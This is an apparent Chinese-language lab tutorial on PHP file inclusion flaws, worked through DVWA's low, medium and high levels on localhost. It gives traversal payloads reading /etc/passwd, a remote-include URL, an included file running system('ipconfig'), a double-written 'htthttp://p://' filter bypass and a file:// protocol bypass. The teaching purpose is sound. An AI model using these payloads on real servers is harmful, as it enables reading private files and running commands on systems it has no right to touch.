一、文件包含与漏洞
文件包含:
开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。
文件包含漏洞:
开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。
二、文件包含漏洞用到的函数
require:找不到被包含的文件,报错,并且停止运行脚本。
include:找不到被包含的文件,只会报错,但会继续运行脚本。
require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。
include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。
三、目录遍历与文件包含的区别
目录遍历是可以读取web目录以外的其他目录,根源在于对路径访问权限设置不严格,针对本系统。
文件包含是利用函数来包含web目录以外的文件,分为本地包含和远程包含。
四、文件包含特征
?page=a.php
?home=b.html
?file=content
检测方法
?文件=../../../../etc/passwd?page=file:///etc/passwd?home=main.cgi?page=http://www.a.com/1.phphttp://1.1.1.1/../../../../dir/file.txt
难度(低)
审计代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
可以看到,low级别的代码对包含的文件没有进行任何的过滤!这导致我们可以进行包含任意的文件。
我们查看phpinfo.php文件
http://127.0.0.1/dvwa1/vulnerabilities/fi/?page=http://127.0.0.1/phpinfo.php

当我们包含一个不存在的文件 xixi.php ,看看会发生什么情况!
http://127.0.0.1/dvwa1/vulnerabilities/fi/?page=xixi.php
可以看到,发生了报错,并且把网站的路径都给暴露出来了。

第一行的那个Warning就是找不到我们指定的xixi.php文件,也就是包含不到我们指定的文件,所以Warning。而第二行的警告是因为前面没有找到指定文件,所以包含的时候就出警告了。
我们在D:\phpStudy\PHPTutorial\WWW\DVWA1\vulnerabilities\fi目录中创建一个测试文件test.txt,文件内容是"<?php system('ipconfig');?>",通过文件包含漏洞可以直接查看到该文件内容。

同理也有其他的一些文件(这里就不多演示了)

难度(中)
审计代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
可以看到,代码使用 str_replace函数 对 http:// 和 https:// 进行了过滤,防止了远程包含漏洞的产生,也过滤了 ../ 和 ..\ 防止了进行目录切换的包含。
但是使用 str_replace 函数进行过滤是很不安全的,因为可以使用双写绕过。例如,我们包含 hthttp://tp://xx 时,str_replace 函数只会过滤一个 http:// ,所以最终还是会包含到 http://xx
我们先访问一下 http://127.0.0.1/dvwa1/vulnerabilities/fi/?page=http://127.0.0.1/phpinfo.php

发现报错,原因很简单,因为代码使用 str_replace函数 对 http:// 和 https:// 进行了过滤,防止了远程包含漏洞的产生
所以,我们可以试试访问该链接
http://127.0.0.1/dvwa1/vulnerabilities/fi/?page=htthttp://p://127.0.0.1/phpinfo.php

回显正常
难度(高)
审计代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
high级别的代码对包含的文件名进行了限制,必须为 file* 或者 include.php ,否则会提示错误:File not found。
于是,我们可以利用 file 协议进行绕过。file协议我们其实并不陌生,当我们用浏览器打开一个本地的文件时
http://127.0.0.1/dvwa1/vulnerabilities/fi/?page=file:///D:\phpStudy\PHPTutorial\WWW\DVWA1\vulnerabilities\fi\test.txt
